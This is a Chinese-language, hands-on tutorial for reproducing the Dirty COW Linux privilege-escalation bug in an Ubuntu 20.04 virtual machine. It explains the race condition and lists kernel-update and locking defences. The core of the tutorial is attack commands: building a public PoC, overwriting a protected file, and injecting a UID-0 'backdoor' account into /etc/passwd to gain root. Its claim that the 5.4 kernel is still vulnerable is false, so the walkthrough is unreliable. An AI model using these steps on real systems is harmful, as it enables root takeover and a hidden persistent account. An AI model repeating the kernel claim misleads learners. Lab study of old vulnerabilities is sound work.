老漏洞新玩法:手把手复现Dirty COW,在Ubuntu 20.04上体验一次‘合法’提权
从零复现Dirty COW现代Linux环境下的提权实战指南在网络安全领域没有什么比亲手复现一个经典漏洞更能深刻理解其原理了。Dirty COWCVE-2016-5195作为Linux内核史上最著名的漏洞之一以其精妙的竞态条件设计和长达九年的潜伏期闻名。本文将带你在Ubuntu 20.04环境中完整走通从环境搭建到成功提权的全流程。1. 实验环境准备与安全须知实验环境隔离是漏洞研究的首要原则。建议使用VirtualBox或VMware创建隔离的虚拟机环境配置2核CPU和2GB内存即可。选择Ubuntu 20.04 LTS作为实验系统因其内核版本(5.4)恰好支持漏洞复现。重要提示所有操作务必在隔离的虚拟机中进行避免对真实系统造成意外影响安装基础编译工具链sudo apt update sudo apt install -y build-essential git验证内核版本uname -r # 预期输出应包含5.4.x字样为安全起见建议创建专用实验用户sudo adduser cowuser su - cowuser2. Dirty COW漏洞原理精要这个诞生于2007年却直到2016年才被发现的漏洞巧妙利用了Linux内核的两大特性**写时复制(COW)**机制进程fork时共享父进程内存页写入操作触发页复制三步骤非原子性复制→更新页表→写入**内存映射(mmap)**特性MAP_PRIVATE标志允许写入副本即使源文件只读仍可修改内存副本漏洞利用的关键时序竞争线程A: 写操作触发COW(执行到步骤2) 线程B: 调用madvise(MADV_DONOTNEED) 线程A: 继续执行步骤3写入原始页3. 完整复现流程实战3.1 获取并编译PoC代码推荐使用最稳定的漏洞利用代码git clone https://github.com/dirtycow/dirtycow.github.io.git cd dirtycow.github.io make常见编译问题解决缺失头文件安装linux-headers包权限不足确认在普通用户下操作版本不兼容调整Makefile中的CFLAGS3.2 基础文件篡改测试创建测试文件echo protected content | sudo tee /tmp/testfile sudo chmod 644 /tmp/testfile执行篡改./dirtyc0w /tmp/testfile hacked content验证结果cat /tmp/testfile # 应显示修改后的内容3.3 提权操作实战修改/etc/passwd的黄金法则备份原始文件准备特殊格式的payload精确控制写入位置具体操作cp /etc/passwd /tmp/passwd.bak echo backdoor:$1$backdoor$TzyKlvEeI7aqQR8dLkPXf.:0:0:root:/root:/bin/bash payload ./dirtyc0w /etc/passwd $(cat payload)验证提权su backdoor id # 应显示uid0(root)4. 现代防护措施与深度思考虽然原始漏洞已被修复但其启示依然深刻防护机制演进内核引入MAP_PRIVATE写操作检查增强内存页锁定机制竞态条件检测工具改进现实意义理解竞态条件的危险性认识长期潜伏漏洞的可能性体会最小权限原则的重要性开发者可采取的防御策略防护层面具体措施效果评估系统级及时内核更新★★★★★开发级关键区域互斥锁★★★★☆架构级减少特权代码★★★★☆在云原生时代这类漏洞的影响被进一步放大。一个有趣的测试是尝试在容器环境中复现你会发现即使逃逸到宿主机现代防护机制也会立即触发告警。